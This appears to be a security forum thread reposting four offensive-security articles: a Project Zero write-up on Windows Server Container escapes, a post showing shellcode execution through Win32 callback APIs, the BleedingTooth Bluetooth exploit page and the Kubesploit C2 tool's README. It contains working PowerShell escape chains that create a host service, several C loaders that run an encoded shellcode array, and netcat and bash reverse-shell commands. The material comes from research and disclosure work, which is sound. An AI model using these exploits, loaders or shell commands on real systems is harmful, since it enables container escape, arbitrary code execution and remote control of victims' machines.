the ContainerAdministrator. As the reported issue only works when running as an administrator that would seem to be sufficient. However, I wasn’t convinced there weren't similar vulnerabilities which could be exploited from a non-administrator user. Therefore I decided to do my own research into Windows Server Containers to determine if the guidance of using ContainerUser would really eliminate the risks. While I wasn’t expecting MS to fix anything I found it would at least allow me to provide internal feedback to the GKE team so they might be able to better mitigate the issues. It also establishes a rough baseline of the risks involved in using Windows Server Containers. It’s known to be problematic, but how problematic? Research Process The first step was to get some code running in a representative container. Nothing that had been reported was specific to GKE, so I made the assumption I could just run a local Windows Server Container. Setting up your own server silo from scratch is undocumented and almost certainly unnecessary. When you enable the Container support feature in Windows, the Hyper-V Host Compute Service is installed. This takes care of setting up both Hyper-V and process isolated containers. The API to interact with this service isn’t officially documented, however Microsoft has provided public wrappers (with scant documentation), for example this is the Go wrapper. Realistically it’s best to just use Docker which takes the MS provided Go wrapper and implements the more familiar Docker CLI. While there’s likely to be Docker-specific escapes, the core functionality of a Windows Docker container is all provided by Microsoft so would be in scope. Note, there are two versions of Docker: Enterprise which is only for server systems and Desktop. I primarily used Desktop for convenience. As an aside, MSRC does not count any issue as crossing a security boundary where being a member of the Hyper-V Administrators group is a prerequisite. Using the Hyper-V Host Compute Service requires membership of the Hyper-V Administrators group. However Docker runs at sufficient privilege to not need the user to be a member of the group. Instead access to Docker is gated by membership of the separate docker-users group. If you get code running under a non-administrator user that has membership of the docker-users group you can use that to get full administrator privileges by abusing Docker’s server silo support. Fortunately for me most Windows Docker images come with .NET and PowerShell installed so I could use my existing toolset. I wrote a simple docker file containing the following: FROM mcr.microsoft.com/windows/servercore:20H2 USER ContainerUser COPY NtObjectManager c:/NtObjectManager CMD [ "powershell", "-noexit", "-command", \ "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ] This docker file will download a Windows Server Core 20H2 container image from the Microsoft Container Registry, copy in my NtObjectManager PowerShell module and then set up a command to load that module on startup. I also specified that the PowerShell process would run as the user ContainerUser so that I could test the mitigation assumptions. If you don’t specify a user it’ll run as ContainerAdministrator by default. Note, when using process isolation mode the container image version must match the host OS. This is because the kernel is shared between the host and the container and any mismatch between the user-mode code and the kernel could result in compatibility issues. Therefore if you’re trying to replicate this you might need to change the name for the container image. Create a directory and copy the contents of the docker file to the filename dockerfile in that directory. Also copy in a copy of my PowerShell module into the same directory under the NtObjectManager directory. Then in a command prompt in that directory run the following commands to build and run the container. C:\container> docker build -t test_image . Step 1/4 : FROM mcr.microsoft.com/windows/servercore:20H2 ---> b29adf5cd4f0 Step 2/4 : USER ContainerUser ---> Running in ac03df015872 Removing intermediate container ac03df015872 ---> 31b9978b5f34 Step 3/4 : COPY NtObjectManager c:/NtObjectManager ---> fa42b3e6a37f Step 4/4 : CMD [ "powershell", "-noexit", "-command", "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ] ---> Running in 86cad2271d38 Removing intermediate container 86cad2271d38 ---> e7d150417261 Successfully built e7d150417261 Successfully tagged test_image:latest C:\container> docker run --isolation=process -it test_image PS> I wanted to run code using process isolation rather than in Hyper-V isolation, so I needed to specify the --isolation=process argument. This would allow me to more easily see system interactions as I could directly debug container processes if needed. For example, you can use Process Monitor to monitor file and registry access. Docker Enterprise uses process isolation by default, whereas Desktop uses Hyper-V isolation. I now had a PowerShell console running inside the container as ContainerUser. A quick way to check that it was successful is to try and find the CExecSvc process, which is the Container Execution Agent service. This service is used to spawn your initial PowerShell console. PS> Get-Process -Name CExecSvc Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 86 6 1044 5020 4560 6 CExecSvc With a running container it was time to start poking around to see what’s available. The first thing I did was dump the ContainerUser’s token just to see what groups and privileges were assigned. You can use the Show-NtTokenEffective command to do that. PS> Show-NtTokenEffective -User -Group -Privilege USER INFORMATION ---------------- Name Sid ---- --- User Manager\ContainerUser S-1-5-93-2-2 GROUP SID INFORMATION ----------------- Name Attributes ---- ---------- Mandatory Label\High Mandatory Level Integrity, ... Everyone Mandatory, ... BUILTIN\Users Mandatory, ... NT AUTHORITY\SERVICE Mandatory, ... CONSOLE LOGON Mandatory, ... NT AUTHORITY\Authenticated Users Mandatory, ... NT AUTHORITY\This Organization Mandatory, ... NT AUTHORITY\LogonSessionId_0_10357759 Mandatory, ... LOCAL Mandatory, ... User Manager\AllContainers Mandatory, ... PRIVILEGE INFORMATION --------------------- Name Luid Enabled ---- ---- ------- SeChangeNotifyPrivilege 00000000-00000017 True SeImpersonatePrivilege 00000000-0000001D True SeCreateGlobalPrivilege 00000000-0000001E True SeIncreaseWorkingSetPrivilege 00000000-00000021 False The groups didn’t seem that interesting, however looking at the privileges we have SeImpersonatePrivilege. If you have this privilege you can impersonate any other user on the system including administrators. MSRC considers having SeImpersonatePrivilege as administrator equivalent, meaning if you have it you can assume you can get to administrator. Seems ContainerUser is not quite as normal as it should be. That was a very bad (or good) start to my research. The prior assumption was that running as ContainerUser would not grant administrator privileges, and therefore the global symbolic link issue couldn’t be directly exploited. However that turns out to not be the case in practice. As an example you can use the public RogueWinRM exploit to get a SYSTEM token as long as WinRM isn’t enabled, which is the case on most Windows container images. There are no doubt other less well known techniques to achieve the same thing. The code which creates the user account is in CExecSvc, which is code owned by Microsoft and is not specific to Docker. NextI used the NtObject drive provider to list the object manager namespace. For example checking the Device directory shows what device objects are available. PS> ls NtObject:\Device Name TypeName ---- -------- Ip SymbolicLink Tcp6 SymbolicLink Http Directory Ip6 SymbolicLink ahcache SymbolicLink WMIDataDevice SymbolicLink LanmanDatagramReceiver SymbolicLink Tcp SymbolicLink LanmanRedirector SymbolicLink DxgKrnl SymbolicLink ConDrv SymbolicLink Null SymbolicLink MailslotRedirector SymbolicLink NamedPipe Device Udp6 SymbolicLink VhdHardDisk{5ac9b14d-61f3-4b41-9bbf-a2f5b2d6f182} SymbolicLink KsecDD SymbolicLink DeviceApi SymbolicLink MountPointManager Device ... Interestingly most of the device drivers are symbolic links (almost certainly global) instead of being actual device objects. But there are a few real device objects available. Even the VHD disk volume is a symbolic link to a device outside the container. There’s likely to be some things lurking in accessible devices which could be exploited, but I was still in reconnaissance mode. What about the registry? The container should be providing its own Registry hives and so there shouldn’t be anything accessible outside of that. After a few tests I noticed something very odd. PS> ls HKLM:\SOFTWARE | Select-Object Name Name ---- HKEY_LOCAL_MACHINE\SOFTWARE\Classes HKEY_LOCAL_MACHINE\SOFTWARE\Clients HKEY_LOCAL_MACHINE\SOFTWARE\DefaultUserEnvironment HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft HKEY_LOCAL_MACHINE\SOFTWARE\ODBC HKEY_LOCAL_MACHINE\SOFTWARE\OpenSSH HKEY_LOCAL_MACHINE\SOFTWARE\Policies HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications HKEY_LOCAL_MACHINE\SOFTWARE\Setup HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node PS> ls NtObject:\REGISTRY\MACHINE\SOFTWARE | Select-Object Name Name ---- Classes Clients DefaultUserEnvironment Docker Inc. Intel Macromedia Microsoft ODBC OEM OpenSSH Partner Policies RegisteredApplications Windows WOW6432Node The first command is querying the local machine SOFTWARE hive using the built-in Registry drive provider. The second command is using my module’s object manager provider to list the same hive. If you look closely the list of keys is different between the two commands. Maybe I made a mistake somehow? I checked some other keys, for example the user hive attachment point: PS> ls NtObject:\REGISTRY\USER | Select-Object Name Name ---- .DEFAULT S-1-5-19 S-1-5-20 S-1-5-21-426062036-3400565534-2975477557-1001 S-1-5-21-426062036-3400565534-2975477557-1001_Classes S-1-5-21-426062036-3400565534-2975477557-1003 S-1-5-18 PS> Get-NtSid Name Sid ---- --- User Manager\ContainerUser S-1-5-93-2-2 No, it still looked wrong. The ContainerUser’s SID is S-1-5-93-2-2, you’d expect to see a loaded hive for that user SID. However you don’t see one, instead you see S-1-5-21-426062036-3400565534-2975477557-1001 which is the SID of the user outside the container. Something funny was going on. However, this behavior is something I’ve seen before. Back in 2016 I reported a bug with application hives where you couldn’t open the \REGISTRY\A attachment point directly, but you could if you opened \REGISTRY then did a relative open to A. It turns out that by luck my registry enumeration code in the module’s drive provider uses relative opens using the native system calls, whereas the PowerShell built-in uses absolute opens through the Win32 APIs. Therefore, this was a manifestation of a similar bug: doing a relative open was ignoring the registry overlays and giving access to the real hive. This grants a non-administrator user access to any registry key on the host, as long as ContainerUser can pass the key’s access check. You could imagine the host storing some important data in the registry which the container can now read out, however using this to escape the container would be hard. That said, all you need to do is abuse SeImpersonatePrivilege to get administrator access and you can immediately start modifying the host’s registry hives. The fact that I had two bugs in less than a day was somewhat concerning, however at least that knowledge can be applied to any mitigation strategy. I thought I should dig a bit deeper into the kernel to see what else I could exploit from a normal user. A Little Bit of Reverse Engineering While just doing basic inspection has been surprisingly fruitful it was likely to need some reverse engineering to shake out anything else. I know from previous experience on Desktop Bridge how the registry overlays and object manager redirection works when combined with silos. In the case of Desktop Bridge it uses application silos rather than server silos but they go through similar approaches. The main enforcement mechanism used by the kernel to provide the container’s isolation is by calling a function to check whether the process is in a silo and doing something different based on the result. I decided to try and track down where the silo state was checked and see if I could find any misuse. You’d think the kernel would only have a few functions which would return the current silo state. Unfortunately you’d be wrong, the following is a short list of the functions I checked: IoGetSilo, IoGetSiloParameters, MmIsSessionInCurrentServerSilo, OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO, ObGetSiloRootDirectoryPath, ObpGetSilosRootDirectory, PsGetCurrentServerSilo, PsGetCurrentServerSiloGlobals, PsGetCurrentServerSiloName, PsGetCurrentSilo, PsGetEffectiveServerSilo, PsGetHostSilo, PsGetJobServerSilo, PsGetJobSilo, PsGetParentSilo, PsGetPermanentSiloContext, PsGetProcessServerSilo, PsGetProcessSilo, PsGetServerSiloActiveConsoleId, PsGetServerSiloGlobals, PsGetServerSiloServiceSessionId, PsGetServerSiloState, PsGetSiloBySessionId, PsGetSiloContainerId, PsGetSiloContext, PsGetSiloIdentifier, PsGetSiloMonitorContextSlot, PsGetThreadServerSilo, PsIsCurrentThreadInServerSilo, PsIsHostSilo, PsIsProcessInAppSilo, PsIsProcessInSilo, PsIsServerSilo, PsIsThreadInSilo Of course that’s not a comprehensive list of functions, but those are the ones that looked the most likely to either return the silo and its properties or check if something was in a silo. Checking the references to these functions wasn’t going to be comprehensive, for various reasons: We’re only checking for bad checks, not the lack of a check. The kernel has the structure type definition for the Job object which contains the silo, so the call could easily be inlined. We’re only checking the kernel, many of these functions are exported for driver use so could be called by other kernel components that we’re not looking at. The first issue I found was due to a call to PsIsCurrentThreadInServerSilo. I noticed a reference to the function inside CmpOKToFollowLink which is a function that’s responsible for enforcing symlink checks in the registry. At a basic level, registry symbolic links are not allowed to traverse from an untrusted hive to a trusted hive. For example if you put a symbolic link in the current user’s hive which redirects to the local machine hive the CmpOKToFollowLink will return FALSE when opening the key and the operation will fail. This prevents a user planting symbolic links in their hive and finding a privileged application which will write to that location to elevate privileges. BOOLEAN CmpOKToFollowLink(PCMHIVE SourceHive, PCMHIVE TargetHive) { if (PsIsCurrentThreadInServerSilo() || !TargetHive || TargetHive == SourceHive) { return TRUE; } if (SourceHive->Flags.Trusted) return FALSE; // Check trust list. } Looking at CmpOKToFollowLink we can see where PsIsCurrentThreadInServerSilo is being used. If the current thread is in a server silo then all links are allowed between any hives. The check for the trusted state of the source hive only happens after this initial check so is bypassed. I’d speculate that during development the registry overlays couldn’t be marked as trusted so a symbolic link in an overlay would not be followed to a trusted hive it was overlaying, causing problems. Someone presumably added this bypass to get things working, but no one realized they needed to remove it when support for trusted overlays was added. To exploit this in a container I needed to find a privileged kernel component which would write to a registry key that I could control. I found a good primitive inside Win32k for supporting FlickInfo configuration (which seems to be related in some way to touch input, but it’s not documented). When setting the configuration Win32k would create a known key in the current user’s hive. I could then redirect the key creation to the local machine hive allowing creation of arbitrary keys in a privileged location. I don’t believe this primitive could be directly combined with the registry silo escape issue but I didn’t investigate too deeply. At a minimum this would allow a non-administrator user to elevate privileges inside a container, where you could then use registry silo escape to write to the host registry. The second issue was due to a call to OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO. This function would get the root object manager namespace directory for a silo. POBJECT_DIRECTORY OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(PEJOB Silo) { if (Silo) { PPSP_STORAGE Storage = Silo->Storage; PPSP_SLOT Slot = Storage->Slot[PsObjectDirectorySiloContextSlot]; if (Slot->Present) return Slot->Value; } return ObpRootDirectoryObject; } We can see that the function will extract a storage parameter from the passed-in silo, if present it will return the value of the slot. If the silo is NULL or the slot isn’t present then the global root directory stored in ObpRootDirectoryObject is returned. When the server silo is set up the slot is populated with a new root directory so this function should always return the silo root directory rather than the real global root directory. This code seems perfectly fine, if the server silo is passed in it should always return the silo root object directory. The real question is, what silo do the callers of this function actually pass in? We can check that easily enough, there are only two callers and they both have the following code. PEJOB silo = PsGetCurrentSilo(); Root = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(silo); Okay, so the silo is coming from PsGetCurrentSilo. What does that do? PEJOB PsGetCurrentSilo() { PETHREAD Thread = PsGetCurrentThread(); PEJOB silo = Thread->Silo; if (silo == (PEJOB)-3) { silo = Thread->Tcb.Process->Job; while(silo) { if (silo->JobFlags & EJOB_SILO) { break; } silo = silo->ParentJob; } } return silo; } A silo can be associated with a thread, through impersonation or as can be one job in the hierarchy of jobs associated with a process. This function first checks if the thread is in a silo. If not, signified by the -3 placeholder, it searches for any job in the job hierarchy for the process for anything which has the JOB_SILO flag set. If a silo is found, it’s returned from the function, otherwise NULL would be returned. This is a problem, as it’s not explicitly checking for a server silo. I mentioned earlier that there are two types of silo, application and server. While creating a new server silo requires administrator privileges, creating an application silo requires no privileges at all. Therefore to trick the object manager to using the root directory all we need to do is: Create an application silo. Assign it to a process. Fully access the root of the object manager namespace. This is basically a more powerful version of the global symlink vulnerability but requires no administrator privileges to function. Again, as with the registry issue you’re still limited in what you can modify outside of the containers based on the token in the container. But you can read files on disk, or interact with ALPC ports on the host system. The exploit in PowerShell is pretty straightforward using my toolchain: PS> $root = Get-NtDirectory "\" PS> $root.FullPath \ PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory PS> Set-NtProcessJob $silo -Current PS> $root.FullPath \Silos\748 To test the exploit we first open the current root directory object and then print its full path as the kernel sees it. Even though the silo root isn’t really a root directory the kernel makes it look like it is by returning a single backslash as the path. We then create the application silo using the New-NtJob command. You need to specify NoSiloRootDirectory to prevent the code trying to create a root directory which we don’t want and can’t be done from a non-administrator account anyway. We can then assign the application silo to the process. Now we can check the root directory path again. We now find the root directory is really called \Silos\748 instead of just a single backslash. This is because the kernel is now using the root root directory. At this point you can access resources on the host through the object manager. Chaining the Exploits We can now combine these issues together to escape the container completely from ContainerUser. First get hold of an administrator token through something like RogueWinRM, you can then impersonate it due to having SeImpersonatePrivilege. Then you can use the object manager root directory issue to access the host’s service control manager (SCM) using the ALPC port to create a new service. You don’t even need to copy an executable outside the container as the system volume for the container is an accessible device on the host we can just access. As far as the host’s SCM is concerned you’re an administrator and so it’ll grant you full access to create an arbitrary service. However, when that service starts it’ll run in the host, not in the container, removing all restrictions. One quirk which can make exploitation unreliable is the SCM’s RPC handle can be cached by the Win32 APIs. If any connection is made to the SCM in any part of PowerShell before installing the service you will end up accessing the container’s SCM, not the hosts. To get around this issue we can just access the RPC service directly using NtObjectManager’s RPC commands. PS> $imp = $token.Impersonate() PS> $sym_path = "$env:SystemDrive\symbols" PS> mkdir $sym_path | Out-Null PS> $services_path = "$env:SystemRoot\system32\services.exe" PS> $cmd = 'cmd /C echo "Hello World" > \hello.txt' # You can also use the following to run a container based executable. #$cmd = Use-NtObject($f = Get-NtFile -Win32Path "demo.exe") { # "\\.\GLOBALROOT" + $f.FullPath #} PS> Get-Win32ModuleSymbolFile -Path $services_path -OutPath $sym_path PS> $rpc = Get-RpcServer $services_path -SymbolPath $sym_path | Select-RpcServer -InterfaceId '367abb81-9844-35f1-ad32-98f038001003' PS> $client = Get-RpcClient $rpc PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory PS> Set-NtProcessJob $silo -Current PS> Connect-RpcClient $client -EndpointPath ntsvcs PS> $scm = $client.ROpenSCManagerW([NullString]::Value, ` [NullString]::Value, ` [NtApiDotNet.Win32.ServiceControlManagerAccessRights]::CreateService) PS> $service = $client.RCreateServiceW($scm.p3, "GreatEscape", "", ` [NtApiDotNet.Win32.ServiceAccessRights]::Start, 0x10, 0x3, 0, $cmd, ` [NullString]::Value, $null, $null, 0, [NullString]::Value, $null, 0) PS> $client.RStartServiceW($service.p15, 0, $null) For this code to work it’s expected you have an administrator token in the $token variable to impersonate. Getting that token is left as an exercise for the reader. When you run it in a container the result should be the file hello.txt written to the root of the host’s system drive. Getting the Issues Fixed I have some server silo escapes, now what? I would prefer to get them fixed, however as already mentioned MSRC servicing criteria pointed out that Windows Server Containers are not a supported security boundary. I decided to report the registry symbolic link issue immediately, as I could argue that was something which would allow privilege escalation inside a container from a non-administrator. This would fit within the scope of a normal bug I’d find in Windows, it just required a special environment to function. This was issue 2120 which was fixed in February 2021 as CVE-2021-24096. The fix was pretty straightforward, the call to PsIsCurrentThreadInServerSilo was removed as it was presumably redundant. The issue with ContainerUser having SeImpersonatePrivilege could be by design. I couldn’t find any official Microsoft or Docker documentation describing the behavior so I was wary of reporting it. That would be like reporting that a normal service account has the privilege, which is by design. So I held off on reporting this issue until I had a better understanding of the security expectations. The situation with the other two silo escapes was more complicated as they explicitly crossed an undefended boundary. There was little point reporting them to Microsoft if they wouldn’t be fixed. There would be more value in publicly releasing the information so that any users of the containers could try and find mitigating controls, or stop using Windows Server Container for anything where untrusted code could ever run. After much back and forth with various people in MSRC a decision was made. If a container escape works from a non-administrator user, basically if you can access resources outside of the container, then it would be considered a privilege escalation and therefore serviceable. This means that Daniel’s global symbolic link bug which kicked this all off still wouldn’t be eligible as it required SeTcbPrivilege which only administrators should be able to get. It might be fixed at some later point, but not as part of a bulletin. I reported the three other issues (the ContainerUser issue was also considered to be in scope) as 2127, 2128 and 2129. These were all fixed in March 2021 as CVE-2021-26891, CVE-2021-26865 and CVE-2021-26864 respectively. Microsoft has not changed the MSRC servicing criteria at the time of writing. However, they will consider fixing any issue which on the surface seems to escape a Windows Server Container but doesn’t require administrator privileges. It will be classed as an elevation of privilege. Conclusions The decision by Microsoft to not support Windows Server Containers as a security boundary looks to be a valid one, as there’s just so much attack surface here. While I managed to get four issues fixed I doubt that they’re the only ones which could be discovered and exploited. Ideally you should never run untrusted workloads in a Windows Server Container, but then it also probably shouldn’t provide remotely accessible services either. The only realistic use case for them is for internally visible services with little to no interactions with the rest of the world. The official guidance for GKE is to not use Windows Server Containers in hostile multi-tenancy scenarios. This is covered in the GKE documentation here. Obviously, the recommended approach is to use Hyper-V isolation. That moves the needle and Hyper-V is at least a supported security boundary. However container escapes are still useful as getting full access to the hosting VM could be quite important in any successful escape. Not everyone can run Hyper-V though, which is why GKE isn't currently using it. Sursa: https://googleprojectzero.blogspot.com/2021/04/who-contains-containers.html
-
Executing Shellcode via Callbacks What is a Callback Function? In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10. Analyzing an API For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC. 1 2 3 4 BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam ); The function passes the parameters to an internal function called EnumWindowsWorker. The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode. By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode. EnumFonts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0); } EnumFontFamilies 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0); } EnumFontFamiliesEx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0); } EnumDisplayMonitors 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0); } LineDDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0); } GrayString 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6); } CallWindowProc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0); } EnumResourceTypes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0); } You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs. Sursa: https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/
-
- 1
-
BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution This Proof-Of-Concept demonstrates the exploitation of CVE-2020-12351 and CVE-2020-12352. Technical details Technical details about the exploit is available at writeup.md. Usage Compile it using: $ gcc -o exploit exploit.c -lbluetooth and execute it as: $ sudo ./exploit target_mac source_ip source_port In another terminal, run: $ nc -lvp 1337 exec bash -i 2>&0 1>&0 If successful, a calc can be spawned with: export XAUTHORITY=/run/user/1000/gdm/Xauthority export DISPLAY=:0 gnome-calculator This Proof-Of-Concept has been tested against a Dell XPS 15 running Ubuntu 20.04.1 LTS with: 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux The success rate of the exploit is estimated at 80%. Credits Andy Nguyen (theflow@) Sursa; https://google.github.io/security-research/pocs/linux/bleedingtooth/
-
- 1
-
Kubesploit Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl (@Ne0nd0g). Our Motivation While researching Docker and Kubernetes, we noticed that most of the tools available today are aimed at passive scanning for vulnerabilities in the cluster, and there is a lack of more complex attack vector coverage. They might allow you to see the problem but not exploit it. It is important to run the exploit to simulate a real-world attack that will be used to determine corporate resilience across the network. When running an exploit, it will practice the organization's cyber event management, which doesn't happen when scanning for cluster issues. It can help the organization learn how to operate when real attacks happen, see if its other detection system works as expected and what changes should be made. We wanted to create an offensive tool that will meet these requirements. But we had another reason to create such a tool. We already had two open-source tools (KubiScan and kubeletctl) related to Kubernetes, and we had an idea for more. Instead of creating a project for each one, we thought it could be better to make a new tool that will centralize the new tools, and this is when Kubesploit was created. We searched for an open-source that provide that heavy lifting for a cross-platform system, and we found Merlin, written by Russel Van Tuyl (@Ne0nd0g), to be suitable for us. Our main goal is to contribute to raising awareness about the security of containerized environments, and improve the mitigations implemented in the various networks. All of this captured through a framework that provides the appropriate tools for the job of PT teams and Red Teamers during their activities in these environments. Using these tools will help you estimate these environments' strengths and make the required changes to protect them. What's New As the C&C and the agent infrastructure were done already by Merlin, we integrated Go interpreter ("Yaegi") to be able to run Golang code from the server to the agent. It allowed us to write our modules in Golang, provide more flexibility on the modules, and dynamically load new modules. It is an ongoing project, and we are planning to add more modules related to Docker and Kubernetes in the future. The currently available modules are: Container breakout using mounting Container breakout using docker.sock Container breakout using CVE-2019-5736 exploit Scan for Kubernetes cluster known CVEs Port scanning with focus on Kubernetes services Kubernetes service scan from within the container Light kubeletctl containing the following options: Scan for containers with RCE Scan for Pods and containers Scan for tokens from all available containers Run command with multiple options Quick Start We created a dedicated Kubernetes environment in Katacoda for you to experiment with Kubesploit. It’s a full simulation with a complete set of automated instructions on how to use Kubesploit. We encourage you to explore it. Build To build this project, run the make command from the root folder. Quick Build To run quick build for Linux, you can run the following: export PATH=$PATH:/usr/local/go/bin go build -o agent cmd/merlinagent/main.go go build -o server cmd/merlinserver/main.go Mitigations YARA rules We created YARA rules that will help to catch Kubesploit binaries. The rules are written in the file kubesploit.yara. Agent Recording Every Go module loaded to the agent is being recorded inside the victim machine. MITRE map We created a MITRE map of the vectors attack being used by Kubesploit. Mitigation for Modules For every module we created, we wrote its description and how to defend from it. We sum it up in the MITIGATION.md file. Contributing We welcome contributions of all kinds to this repository. For instructions on how to get started and descriptions of our development workflows, please see our contributing guide. Credit We want to thank Russel Van Tuyl (@Ne0nd0g) for creating Merlin as an open-source that allowed us to build Kubesploit on top of it. We also want to thank Traefik Labs (@traefik) for creating Go interpreter ("Yaegi") that allowed us to run the Golang modules on a remote agent easily. License Copyright (c) 2021 CyberArk Software Ltd. All rights reserved. This repository is licensed under GPL-3.0 License. For the full license text see LICENSE. Share Your Thoughts And Feedback For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) from CyberArk Labs or open an issue. You can find more projects developed by us at https://github.com/cyberark/. Sursa: https://github.com/cyberark/kubesploit
-
- 1